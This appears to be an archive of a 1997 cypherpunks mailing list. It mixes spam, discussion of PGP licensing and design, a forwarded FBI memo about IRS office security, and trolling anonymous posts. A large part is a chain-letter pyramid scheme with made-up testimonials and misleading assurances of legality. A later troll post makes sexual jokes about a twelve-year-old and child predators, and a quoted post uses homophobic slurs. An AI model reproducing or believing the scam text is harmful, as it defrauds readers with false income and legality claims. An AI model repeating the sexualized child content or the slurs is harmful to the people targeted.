TO ESTABLISH YOUR CREDIT TODAY!


THIS IS A ONE TIME MAILING, PLEASE DO NOT
SEND A REMOVE REQUEST AS YOU WILL NEVER
BE SENT ANOTHER OFFER.
**************************************************************
Consumer Credit Services Inc. hereby known as CCS is 
not affiliated with any bank(s)referred to the consumer by 
CCS. CCS is a credit card referral service and does not issue
any major credit cards to the consumer. Some banks require
annual or processing fees ranging from twenty to one hundred dollars.
(  *CCS does issue the CashPlus card only to its shopping club
members without any fees or charges and is subject to terms and
conditions set forth by CCS.)  ( ** Processing signifies receiving 
and application directly from a financial institution).

Offer not available in Nevada, Wisconsin, Iowa, Connecticut, North Carolina.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: opportunity@anywhere.com
Date: Fri, 31 Oct 1997 22:41:44 -0800 (PST)
To: beef.SPAM@rigel.cyberpass.net
Subject: $36,000 in 3 months!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


            << Just what you needed, just when you needed it! >>

   The main reason for this letter is to convince you that this system is
 honest, lawful, extremely profitable, and is a way to get a large amount
 of money in a short time.  I was approached several times before I checked
 this out.  I joined just to see what one could expect in return for the minimal
 effort and money required.  Initially I let no one in the organization know
 that I was an attorney and, to my astonishment, I received $36,470.00 in
 the first 14 weeks, with money still coming in.
                                 Sincerely yours, Phillip A. Brown



                         "Please Read This Twice!"

 Dear friend,

 =========================================================
 =========================================================
 This is a "ONE-TIME MESSAGE"  you were randomly selected to receive this.
 There is no need to reply to remove, you will receive no further mailings from us.
 If you have interest in this GREAT INFORMATION,  please do not click reply,
 use the contact information in this message.  Thank You! :-)
 =========================================================
 =========================================================

              *** Print This Now For Future Reference ***

 The following income opportunity is one you may be intersested in  taking a
 look at. It can be started with VERY LITTLE investment and the income return
 is TREMENDOUS!!!

 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

 You are about to make at least $50,000 in less than 90 days!
 Please read the enclosed program...THEN READ IT AGAIN!!!

 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$


 This is a MONEY-MAKING PHENOMENON. PRINT this letter, read the
 program...  THEN READ IT AGAIN !!!

 You are looking at the most profitable and unique program you may ever
 see.  It has demonstrated and proven ability to generate large sums of
 money.  This program is showing fantastic appeal with a huge and ever
 growing population which needs additional income.

 This is a legitimate LEGAL money-making opportunity.  It does not
 require you to come in contact with people, do any hard work, and best
 of all, you never have to leave the house, except to get the mail.  If you
 believe that some day you will get that lucky break that you have been
 waiting for, THIS IS IT!  Simply follow the easy instructions, and your
 dream will come true!  This electronic multi-level marketing program works 
 perfectly...100% EVERY TIME!

 Thousands of people have used this program to raise capital to start their
 own business, pay off debts, buy homes, cars, etc., even retire! This is
 your chance, so don't pass it up.

                 OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC
                        MULTI-LEVEL MARKETING PROGRAM

 Basically, this is what we do:  We sell thousands of people a product for
 $5.00 that costs us next to nothing to produce and e-mail.  As with all
 multi-level businesses, we build  our business by recruiting new partners
 and selling our products.  Every state in the U.S. allows you to recruit
 new multi- level business online (with your computer).

 The product in this program is a series of four businesses and financial
 reports.  Each $5.00 order you receive by "snail mail" will include the e-mail
 address of the sender.  To fill each order, you simply e-mail the product to
 the buyer.  THAT'S IT!...the $5.00 is yours!  This is the GREATEST
 electronic multi-level marketing business anywhere!

 FOLLOW THE INSTRUCTIONS EXACTLY!
 Let's face it, the profits are worth it!  THEY'RE TREMENDOUS!!!
 So go for it.  Remember the 4 points and we'll see YOU at the top!


         ******* I  N  S  T  R  U  C  T  I  O  N  S *******

 This is what you MUST do:

 1.  Order all 4 reports listed and numbered from the list below.
     For each report send $5.00 CASH, YOUR E-MAIL ADDRESS and YOUR
     RETURN POSTAL ADDRESS (in case of a problem) to each person listed.
     When you order, make sure you request each SPECIFIC report.  You
     will need all four reports, because you will be saving them on
     your computer and reselling them.

 2.  IMPORTANT--DO NOT alter the names, or their sequence other than
     instructed in this program! Or you will not profit the way you
     should.

     Replace the name and address under REPORT #1 with yours, moving
     the one that was there down to REPORT #2.  Move the name and
     address under REPORT #2 to REPORT #3.  Move the name and address
     under REPORT #3 to REPORT #4.  The name and address that was under
     REPORT #4 is dropped off the list and is NO DOUBT on the way to
     the bank.

     When doing this, please make certain you copy everyone's name and
     address ACCURATELY!!!  Also, DO NOT move the Report/Product
     positions!

 3.  Take this entire program text, including the corrected names list,
     and save it on your computer.

 4.  Now you're ready to start a massive advertising campaign on the
     WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
     but there are HUNDREDS of FREE places to advertise also.  Another
     avenue which you could use is e-mail mailing lists.  You can buy
     these lists for under $20/1,000 addresses.  START YOUR AD CAMPAIGN
     AS SOON AS YOU CAN.

 ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

                              REQUIRED REPORTS

 ***Order each REPORT by NUMBER and NAME***

ALWAYS SEND  $5 CASH (concealed) FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY 
NAME AND NUMBER. ALWAYS SEND FIRST CLASS OR PRIORITY MAIL AND PROVIDE YOUR E-MAIL ADDRESS 
FOR QUICK DELIVERY.

___________________________________________________

 REPORT #1       
 "HOW TO MAKE $250,000 THROUGH MULTILEVEL SALES"

 ORDER REPORT #1 FROM:
 Pammy Group
 P.O. Box 460123
 St. Louis, MO 63146-7123
 ___________________________________________________

 REPORT #2
 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

 ORDER REPORT #2 FROM:
 MAKIN-MOOLA
 P.O. BOX 271926
 Fort Collins, CO 80527-1926   U.S.A.
  ___________________________________________________
 REPORT #3
 "SOURCES FOR THE BEST MAILING LISTS"

 ORDER REPORT #3 FROM:
 MY-TURN
 P.O. BOX 272453
 Fort Collins, CO 80527-2453   U.S.A.
 ____________________________________________________
 REPORT #4
 "EVALUATING MULTI-LEVEL SALES PLANS"

 ORDER REPORT #4 FROM:
 CPS
 P.O.Box 50173
 PROVO, UT 84605-0173

 ____________________________________________________

             HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$

 Let's say you decide to start small just to see how it goes.  Assume
 your goal is to get 10 people to participate on your first level.
 (Placing a lot of FREE ads on the internet could EASILY get a better
 response.)  Also assume that everyone else in YOUR BUILDING ORGANIZATION
 gets ONLY 10 downline members.  Follow this example for the STAGGERING
 results below.

 1st level --  your 10 members with $5		($5 x     10)	$    50
 2nd level -- 10 members from those 10		($5 x    100)	$   500
 3rd level -- 10 members from those 100		($5 x  1,000)	$ 5,000
 4th level -- 10 members from those 1,000	($5 x 10,000)	$50,000
								-------
                                 THIS TOTALS----------->        $55,550
								-------

 Remember friends, this is assuming that the people who participate
 only recruit 10 people each.  Dare to think for a moment what would
 happen if everyone got 20 people to participate!  Some people get
 100's of recruits!  THINK ABOUT IT!

 By the way, your cost to participate in this is practically nothing.
 You obviously already have an internet connection and email is FREE!!!
 REPORT#3 will show you the best methods for bulk emailing and purchasing
 email lists.

 REMEMBER:  Approx. 50,000 new people get online monthly!

                          ORDER YOUR REPORTS NOW!!!



                       *******TIPS FOR SUCCESS*******

 TREAT THIS AS YOUR BUSINESS!  Send for the four reports IMMEDIATELY,
 so you will have them when the orders start coming in because:
 When you receive a $5 order, you MUST send out the requested product/
 report to comply with the U.S. Postal & Lottery Laws, Title 18,
 Sections 1302 and 1341 or Title 18, Section 3005 in the U.S. Code,
 also Code of Federal Regs. vol. 16, Sections 255 and 436, which
 state that "a product or service must be exchanged for money received."

 *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

 *  Be patient and persistent with this program.  If you follow the
    instructions exactly the results WILL undoubtedly be SUCCESS!

 *  ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!


                    *******YOUR SUCCESS GUIDELINE*******

         The check point that guarantees your success is simply this:
 You MUST receive 10 to 20 orders for REPORT #1!  THIS IS A MUST!  If
 you don't within two weeks, advertise more and send out more programs
 until you do.  Then, a couple of weeks later you should receive at
 least 100 orders for REPORT #2.  If you don't, advertise more and send
 out more programs until you do.  Once you have received 100, or more
 orders for REPORT #2, YOU CAN RELAX, because you will be on your way
 to the BANK!  -OR-  You can DOUBLE your efforts!

 REMEMBER:  Every time your name is moved down on the list you are in
 front of a DIFFERENT report, so you can KEEP TRACK of your PROGRESS
 by what report people are ordering from you. IT'S THAT EASY!!!

 NOTE:  IF YOU NEED HELP with starting a business, registering a business
 name, how income tax is handled, etc., contact your local office of the Small 
 Business Administration (a Federal agency) for free help and answers to
 questions.  Also, the Internal Revenue Service offers free help via telephone
 and free seminars about business taxes.



         ******* T  E  S  T  I  M  O  N  I  A  L  S *******

 This program does work, but you must follow it EXACTLY! Especially the
 rule of not trying to place your name in a different position, it won't work,
 you'll lose a lot of money.  I'm living proof that it works.  It really is a great
 opportunity to make relatively easy money, with little cost to you.  If you
 do choose to participate, follow the program exactly, and you'll be on your
 way to financial security.  If you are a fellow Christian and are in financial
 trouble like I was, consider this a sign.  I DID!
                                         Good Luck & God Bless You,
                                         Sincerely, Chris Johnson

 P.S.  Do you have any idea what 11,700 $5 bills ($58,500) looks
 like piled up on the kitchen table?...IT'S AWESOME!

         My name is Frank.  My wife Doris and I live in Bel-Air, MD.
 I am a cost accountant with a major U.S. Corporation and I make
 pretty good money.  When I received the program I grumbled to Doris
 about receiving "junk mail"!  I made fun of the whole thing, spouting
 my knowledge of the population and percentages involved.  I "knew" it
 wouldn't work.  Doris totally ignored my supposed intelligence and
 jumped in with both feet.  I made merciless fun of her, and was ready
 to lay the old "I told you so" on her when the thing didn't work...
 well, the laugh was on me!  Within two weeks she had received over 50
 responses.  Within 45 days she had received over $147,200 in $5 bills!
 I was stunned.  I was sure that I had it all figured and that it wouldn't
 work...I AM a believer now.  I have joined Doris in her "little" hobby. I did
 have seven more years until retirement,  but I think of the "rat race" and
 it's not for me...We owe it all to MLM.
                                         Frank T., Bel-Air, MD

 I just want to pass along my best wishes and encouragement to you.
 Any doubts you have will vanish when your first orders come in.  I even
 checked with the U.S. Post Office to verify that the plan was legal.
 It definitely is!  IT WORKS!!!
                                         Paul Johnson, Raleigh, NC

 This is the only realistic money-making offer I've ever received.  I
 participated because this plan truly makes sense. I was surprised
 when the $5.00 bills started filling my mail box. By the time it tapered
 off I had received over 8,000 orders with over $40,000 in cash.  Dozens
 of people have sent warm personal notes too, sharing the news of their
 good fortunes!  It's been WONDERFUL.
                                         Carl Winslow Tulsa, OK

 The main reason for this letter is to convince you that this system is
 honest, lawful, extremely profitable, and is a way to get a large amount
 of money in a short time.  I was approached several times before I checked
 this out.  I joined just to see what one could expect in return for the minimal
 effort and money required.  Initially I let no one in the organization know
 that I was an attorney and, to my astonishment, I received $36,470.00 in
 the first 14 weeks, with money still coming in.
                                 Sincerely yours, Phillip A. Brown

 This plan works like GANG-BUSTERS!! So far I have had 9,735 total orders
 OVER $48,000!!!  I hope I have sparked your own excitement, if you follow
 the program exactly, you could have the same success I have, if not better.
 Your success is right around the corner, but you must do a little work.
                                         Good Luck!  G. Bank

         Not being the gambling type, it took me several weeks to make
 up my mind to participate in this plan.  But conservative that I am
 I decided that the initial investment was so little that there was
 just no way that I wouldn't get enough orders to at least get my money
 back.  Boy I was surprised when I found my medium-size post office box
 crammed with orders.  After that it got so over-loaded that I had to
 start picking up my mail at the window.  I'll make more money this
 year than any 10 years of my life before.  The nice thing about this
 deal is that it doesn't matter where in the U.S. the people live.
 There simply isn't a better investment with a faster return.
                                 Mary Rockland, Lansing, MI

         I had received this program before.  I deleted it, but later
 I wondered if I shouldn't have given it a try.  Of course, I had no
 idea who to contact to get another copy, so I had to wait until I
 was e-mailed another program...11 months passed then it came...I
 didn't delete this one!...I made $41,000 on the first try!!
                                         D. Wilburn, Muncie, IN

         This is my third time to participate in this plan.  We have
 quit our jobs, and quite soon we will buy a home on the beach and live
 off the interest on our money.  The only way on earth that this plan
 will work for you is if you do it.  For your sake, and for your family's
 sake don't pass up this golden opportunity.  Remember, when you order
 your four reports, SEND CASH.  Checks have to clear the bank and create
 too many delays.  Good luck and happy spending!
                                         Charles Fairchild, Spokane, WA

         Typically when I look at a money-making deal I want to
 know if the company is strong, will it be here when it's time for
 my big pay off.  In this crazy thing there is no company intervention
 for management to blow it.  Just people like me ordering directly
 from the source!  Interesting...I had a couple of projects I'd been
 trying to fund to no avail so I thought; Why not give it a try?  Well
 2 1/2 weeks later the orders started coming in.  One project is funded
 and I'm sure the other will be soon!
                                         Marilynn St. Claire, Logan, UT

 ====================================================

               We could be printing YOUR testimonial next!!!

                      ORDER YOUR REPORTS TODAY AND GET
                        STARTED DOWN THE ROAD TO YOUR
                            FINANCIAL FREEDOM!!!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? x  <22724924@juno.com>
Date: Tue, 28 Oct 1997 23:28:12 -0800 (PST)
To: 0123123@aol.com
Subject: Free Home Security System
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Sun, 2 Nov 1997 16:24:45 +0800
To: cypherpunks@cyberpass.net
Subject: Privacy Software
Message-ID: <199711020817.CAA31716@multi26.netcomi.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

nobody@replay.com (Anonymous) wrote:
>After seeing the intents of PGP Inc. with the release of their new
>PGP that breaks the old free versions, I have all but written them
>off as anything but the Enemy, and am waiting for a public reply on
>the list by Tim May to make it official.

Personally, I don't think it is that useful to draw up enemy lists.
It is clear PGP, Inc. cannot be relied upon to achieve our goals for
us.  I think a lot of people half expected something like this out of
them, anyway.  All that left wing politics and weird anti-business
stuff from the PGP crowd did not augur well.

>But now what? Please someone answer my questions about PGP - it
>appears that the 5.x versions are not compatible with the 2.x
>versions which came previous.  Is this so? Also, the direction they
>seem to be heading is in providing more and more non-free GAKked
>product. But aren't the 2.x and 5.x versions freeware? If so, can't
>others - a group of individuals - take that source code and build off
>of that?

The PGP source code is not the worst I've ever seen, but it's kind of
odd.  We should consider a rewrite, which gives us the added benefit
that it will be completely unencumbered.

It also gives us the opportunity to write it in a language other than
C, one which truly supports encapsulation.  C code is hard to verify
with great confidence because it is possible to obfuscate it and
introduce security holes.  This means that C requires one to trust the
authors to a greater extent than is desirable.

It would also be neat if the code were written outside the United
States and were put into the public domain.  If a company snaps it up
and bases a product on it - great!  The more people using the code the
better.

The whole issue of compatibility is an interesting one.  Would it be a
good idea to have a cryptographic system which was completely
incompatible with PGP, given the Big Brother risk?

Something I've never liked about PGP is their approach to encrypting
to multiple keys.  For one thing, the PGP crowd seems overly
conservative with bit expenditure, which is silly because bits are
cheap.  This means that creating entirely separate messages is
completely economical.

It also introduces security risk.  Let's say one of the three public
keys used to encrypt a message has been compromised.  Let's say the
other two parties live in places where they aren't supposed to be
exposed to bad ideas.  Once one key is compromised, the other
recipients are compromised in receiving a forbidden message.

On the other hand, if they were separately encrypted, the link between
the three messages is not obvious.  And, even if the messages *are*
linked, it's still not obvious that the other recipients didn't get
something else.  It provides a lot of deniability.

So, perhaps a protocol which does not support anything more than one
encryption key per message would be a good idea.

Something else that bothers me about PGP is compression.  It strikes
me as bad design to build this into an encryption program.  Zimmermann
has suggested that this increases security.  I doubt this.  Modern
algorithms like IDEA (please correct me if I am wrong) have the
property that if you get one bit, you've got them all.

And, I wonder if compression doesn't actually weaken security?  Let's
say I forward a known message with some commentary.  Since the
compression tables will be known, it seems like the increased size of
the message could provide some interesting information about the
preceding commentary.  All by itself, this probably doesn't matter,
but combined with other information it might result in a breach.  In
any event, that which is ambiguous should be eliminated.

It would also be nice if the messages were padded to predetermined
sizes, say 10K, 20K, 40K, etc.  (Once compression is eliminated this
is less of an issue.)

Anyway, if Adam Back wanted to undertake it, a nice project would be
design a good cypherpunk communications protocol.  Simple, clean, and
secure.

It seems to me that issues like wiping the stack as every function
returns, the formats of key rings, and security measures on the users
computer should not be in a communications standard.

Some other features: maybe a hashcash field which makes it possible to
quickly weed out junk.  The challenge string could be related to the
key.  Also, it would be neat if the system were designed with
steganography in mind.

How about a one time pad mode?  One time pads are more practical than
widely believed.  Many things we talk about we *do* want to keep quiet
for the rest of our natural lives.  Our present tool set and practices
do not do this reliably.  (But, I could be persuaded that one time pad
mode is actually something which should tunnel inside the cypherpunks
communication protocol.  Might as well keep everything clean and
orthogonal.)

>Piss on these assholes and their licensing fees.

There's nothing wrong with paying people for their work!  It's even
desirable if you want tools to be available.

>It was inevitable, anyway. They are a corporation after all, and the
>corporations are not on "our" sides.
>
>I can see a scenario where government is impotent and destroyed
>within 10 years. What will remain and will be harder to eradicate are
>the corporations.  I don't think we should rely on corporate software
>whenever possible, because it always comes with an ulterior motive.

I am of two minds on this question.  Free software is pretty darned
neat.  It's extremely easy to deal with and it's nifty that you can
write and release something and tens of thousands of people end up
using it.  If the code is simply placed in the public domain, then
anybody can use it for any purpose they like.  This has appeal.

On the other hand, corporations can be a good way to get things done,
too.  It is possible that the PGP approach of giving away software was
ultimately a mistake because now people don't expect to have to pay for
their code.  Elimination of a crypto market might be a bad thing.

It's clear that going the corporate route has to be handled with some
care.  Given the political implications, investors have certain risks.

Also, many people seem to switch into a different mode as soon as they
have a company.  Anything which they perceive as increasing their
profits becomes good.  PGP, Inc. has gone this way, we've seen First
Virtual do some unsavory things, and even good old C2 has made a few
people uncomfortable.

It doesn't have to be this way, of course.  Look at Comsec Partners.
We don't see any "conversation recovery", lying press releases, or any
other nonsense from them, just a beautiful product.

The key probably has to do with understanding clearly what it is you
want to do.  If you know you want to promote privacy and free speech
and are willing to volunteer a substantial amount of your time to do
so, then foregoing some blood money or maintaining your integrity is a
lot easier to do.

What I like about selling software is that you could actually make
good living by doing the right thing.  And, after all, if you've spent
six months writing something, why shouldn't the users kick in a little
money instead of freeloading?  I would like to see more crypto users
in the habit of paying for tools and in the habit starting security
companies.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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hxix3lOpj3RHDj87OlzzPIpY7aSbvvPOq6PkOCIecpjsO/e2F4vkXlWMtwONJ7gV
azGEC//voYyvC55diSHfqUg0zOY/8Ddsy460uIDX4jWJUkJzPMRSRIfvsmo/Lpf+
HFJcIcze/w8bD2k9gelBthbIgZOpCjplY68MyPNurCcVbpKlIw/RmyX6WI4hAkYk
UoRlFh4SeAmNWla4t0l3NGkpdxfVJ8tIAl6uNvV3enjjfctgm/5KRr8n7lcjLvOT
jKUJn0DDFD2pdZ66Unp3xeKpOMxLZ4Bqf704piaCSmj4Erul7x1Gmg==
=USz8
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Sun, 2 Nov 1997 16:47:39 +0800
To: cypherpunks@cyberpass.net
Subject: PGPsdk is out, but not for free
Message-ID: <199711020837.CAA00759@multi26.netcomi.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

phelix@vallnet.com wrote:
>First, PGPsdk has been released:
>
>        http://www.pgp.com/sdk/
>
>The bad news: the licensing fees are so high that there will be no
>freeware or shareware applications using it.

1. It's not bad news because it didn't cost us anything for somebody
else to write it.  We are doing just as well as last week.

2. If the licensing fees are really high, this should be a good
opportunity for competing software.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNFwiF5aWtjSmRH/5AQFBQAf/VoTRpAVMo7r2ebpwYHJL4AUxEL9Muwwr
za+Bm0hOMU630ifmqmGXg12AbUAMDOnD/g0Io/bwIL36t4lhTfKTV6Sbzc/I0G6s
A8vWR56kX6wo2XjDw/lI5zKbFrrxcIAPtMd0e8Cq2vsjSGBMbzI6GXhO+7TMDQV/
kdgd7b1x5/kPBw88kcmNI72MSrRaPsMavptbGpqVs469dy/6gfRDhIO2nedkDgQI
4eHDjmYc6hKFDUelWVN5PS8u5O/LfCkYDYfkb6BG3VNAJeSIkW+KfQFac5P2i00E
cGyf/WZuvWtCmpHgLk5FKPUQS4zQXpeaJJG7LYJY6Cq2I9H+OYusTQ==
=gc92
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@www.video-collage.com>
Date: Sat, 1 Nov 1997 09:54:37 +0800
To: cypherpunks@www.video-collage.com
Subject: [ZOG] FBI MEMO FROM MSP SPEC OPERATIONS DIV
In-Reply-To: <199710311954.UAA05302@basement.replay.com>
Message-ID: <199711010133.BAA30862@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous <nobody@REPLAY.COM> wrote:
* ADMINISTRATIVE MESSAGE FROM MSP SPEC OPERATIONS DIV
* 
* From:   FBI NATIONAL SECURITY DIVISION
* To:     ALL LAW ENFORCEMENT AGENCIES
* 
* 
*      Internal Revenue Service {IRS} offices open on
* selective Saturdays, beginning 11/15/97--POTENTIAL
* FOR VIOLENCE.
* 
*      This communication is not an FBI terrorist threat,
* alert, or advisory; it is for information only. Although
* unclassified, this communication should be handled as
* law enforcement sensitive. This communication should not
* be furnished to the media or other agencies outside the
* law enforcement/U.S. Government counterrorism community
* without the permission of the F.B.I.
* 
*      A reported in the media, the IRS recently
* announced that all IRS District Headquarters Offices will
* be open on selective Saturdays, beginning 11/15/97, to
* handle taxpayer complaints and problem cases. Due to the
* recent publicity surrounding allegations of IRS abuses
* against taxpayers, the offices may attract individuals
* intent on disrupting business or committing violent acts
* against IRS employees. As a result, IRS is planning to
* heighten security at all offices. At this time, the FBI
* has no information indicating a terrorist attack
* or violence directed at IRS facilities or personnel.
* 
*      Should recipients receive any information regarding
* violence directed against the IRS, contact the IRS and
* your local FBI office immediately.
* 
*      Following is the list of the 33 IRS District
* Headquarters Offices:
* 
* FROM:  FBI NATIONAL SECURITY DIVISION
* Pacific Northwest District--Seattle, WA
* Northern California District--Oakland, CA.
* Central California District--San Jose, CA.
* Los Angeles District--Los Angeles, CA.
* Southern California District--Laguna Niguel, CA.
* Southwest District--Phoenix, AZ
* Rocky Mountain District--Denver, CO
* Arkansas-Oklahoma District--Oklahoma City, OK
* North Texas District--Dallas, TX
* South Texas District--Austin, TX
* Houston District--Houston, TX
* Illinois District--Chicago, IL
* 


-- 
	- Igor.

The average American spends a total of six (6) months in prison. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 1 Nov 1997 10:50:00 +0800
To: cypherpunks@www.video-collage.com
Subject: You *know* what this means, don't you? / Re: [ZOG] FBI MEMO FROM MSP SPEC OPERATIONS DIV
Message-ID: <199711010226.DAA20618@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



This is the FBI's way of informing the IRS that the everyday working
citizen is now an enemy of the government, and likely to lay seige to
any government office foolish enough to stay open during hours when
the regular American Joe and Jane has time to do a quick drive-by on
the way to pick up the kids at the Saturday afternoon movie at the
mall.

Igor Chudov @ home wrote:
> Anonymous <nobody@REPLAY.COM> wrote:
> * ADMINISTRATIVE MESSAGE FROM MSP SPEC OPERATIONS DIV
> *
> * From:   FBI NATIONAL SECURITY DIVISION
> * To:     ALL LAW ENFORCEMENT AGENCIES
> *
> *
> *      Internal Revenue Service {IRS} offices open on
> * selective Saturdays, beginning 11/15/97--POTENTIAL
> * FOR VIOLENCE.
> *
> *      This communication is not an FBI terrorist threat,
> * alert, or advisory; it is for information only. Although
> * unclassified, this communication should be handled as
> * law enforcement sensitive. This communication should not
> * be furnished to the media or other agencies outside the
> * law enforcement/U.S. Government counterrorism community
> * without the permission of the F.B.I.
> *
> *      A reported in the media, the IRS recently
> * announced that all IRS District Headquarters Offices will
> * be open on selective Saturdays, beginning 11/15/97, to
> * handle taxpayer complaints and problem cases. Due to the
> * recent publicity surrounding allegations of IRS abuses
> * against taxpayers, the offices may attract individuals
> * intent on disrupting business or committing violent acts
> * against IRS employees. As a result, IRS is planning to
> * heighten security at all offices. At this time, the FBI
> * has no information indicating a terrorist attack
> * or violence directed at IRS facilities or personnel.
> *
> *      Should recipients receive any information regarding
> * violence directed against the IRS, contact the IRS and
> * your local FBI office immediately.
> *
> *      Following is the list of the 33 IRS District
> * Headquarters Offices:
> *
> * FROM:  FBI NATIONAL SECURITY DIVISION
> * Pacific Northwest District--Seattle, WA
> * Northern California District--Oakland, CA.
> * Central California District--San Jose, CA.
> * Los Angeles District--Los Angeles, CA.
> * Southern California District--Laguna Niguel, CA.
> * Southwest District--Phoenix, AZ
> * Rocky Mountain District--Denver, CO
> * Arkansas-Oklahoma District--Oklahoma City, OK
> * North Texas District--Dallas, TX
> * South Texas District--Austin, TX
> * Houston District--Houston, TX
> * Illinois District--Chicago, IL
> *
> 
> --
>         - Igor.
> 
> The average American spends a total of six (6) months in prison.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Sat, 1 Nov 1997 12:27:12 +0800
To: cypherpunks@algebra.com
Subject: Re: North CA cops skip preliminaries, get straight to torture
Message-ID: <19971101034000.9678.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



>Well, what's wrong with me driving up to the head of the sit-down protest
>and saying to the cops standing idly by, "Hey, there are some queers in the
>middle of the road, blocking my trip to Marin. If you're just gonna let em
>sit there for hours, putting my business and plans at risk, I'm just gonna
>gun my engine and drive right over their fairy asses."

Tim, I'm surprised at you. The issue isn't whether what they were doing is
illegal. The issue isn't whether it would have been justified for you to run
over their asses. The issue is government jack-booted thugs walking up,
grabbing *non-violent*, *helpless* protesters by the heads and engaging in
chemical warfare. 

I don't agree with the stance of the protesters, and I don't agree with
their method of protesting. That does NOT mean that the government is
justified in doing the equivelent of beating the shit out of non-violent
protesters. Was China justified in running over non-violent protesters with
tanks?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 1 Nov 1997 10:55:01 +0800
To: cypherpunks@toad.com
Subject: Jim Bell--Mercetan Visionary / Re: [ZOG] FBI MEMO FROM MSP SPEC OPERATIONS DIV
Message-ID: <199711010241.DAA23160@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov @ home wrote:
> *      A reported in the media, the IRS recently
> * announced that all IRS District Headquarters Offices will
> * be open on selective Saturdays, beginning 11/15/97, to
> * handle taxpayer complaints and problem cases. Due to the
> * recent publicity surrounding allegations of IRS abuses
> * against taxpayers, the offices may attract individuals
> * intent on disrupting business or committing violent acts
> * against IRS employees.

Clueless John Young was mystified as to why Jim Bell's sentencing
has been delayed for such a long period of time.

You fool! They plan to run him for President as a grass-roots candidate.

Glad I could clear that up...


Anonymous (Except to John Young, who is cc:'d and will know 
~~~~~~~~~  I am TruthMonger)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 1 Nov 1997 12:03:31 +0800
To: cypherpunks@toad.com
Subject: Hi! I'm only twelve years old!
Message-ID: <199711010350.EAA00993@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Hi. I'm only twelve, but I'm a real dork, and nobody will talk to me
in the chat rooms.
I was watching 20/20 tonight about sexual predators on the internet
and they had some really cool tips about how to prey on young children.
{If only one child is raped and murdered by sexual predators who learn
 how to use the internet effectively, it will be worth the time and
 trouble for those producing the show.}

Anyway, I have a question for you.
Would I get more people talking to me on the chat lines if I say that
I am a twelve year old interested in sex, or if I say that I am a
sexual predator interested in meeting young boys?
I have never talked to a real FBI agent before and I know I would get
to meet some if I said I am an old fart who wants to bunghole young
boys but they would probably tell my parents, wouldn't they?
I bet I could get a lot more people to talk to me if I told them how
old I really am and that I want to do dirty stuff with old farts. I bet
I could get a lot of free stuff, too.

What do you think? I am asking you because my Doctor in Forest Hills
says you guys know about that stuff. He's not a real doctor, but he
meets me in the park, where I can smoke, so I like him. He says I don't
have prostrate cancer. Boy is that a relief!
I met him in a chat room. He said, "I'm from the cypherpunks, and I'm
here to help you." I found out that his name isn't really John Gilmore,
it's some kind of foreign name, I think. When I asked him if he was
a "real" doctor, he said, "No, but I have an honorary Doctor of Love
degree that was bestowed upon me by the grade four class at the Forest
Hills pubic school." (I think he was making a joke. :?)

I thought I could get people to talk to me on the cypherpunks list,
since you guys are cool, but everyone there thinks I am an asshole,
too. I think I am going to change my name from TruthMonger to something
else.
Do you think that would help?

I spell pretty good for a twelve year old, don't I?

Thanks,
A Twelve Year Old Boy
p.s. - What is fist fucking? Phillip Hallam-Baker wants my answer by
       tommorrow.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sat, 1 Nov 1997 14:28:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Protocols for Insurance to Maintain Privacy
Message-ID: <2d9fdee2822cc80bd98da311efbf2459@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>>I'm pretty sure that if you are an unconscious wealthy looking
>>person they don't turn you away.  You really only need to survive
>>until your lawyer gets to the hospital with a suitcase of cash.
>
>Read "The Millionaire Next Door" for tips on what millionaires (who
>are of course the "barely non-poor" these days) are likely to be
>wearing and flaunting. Turns out that most Yuppies driving BMWs and
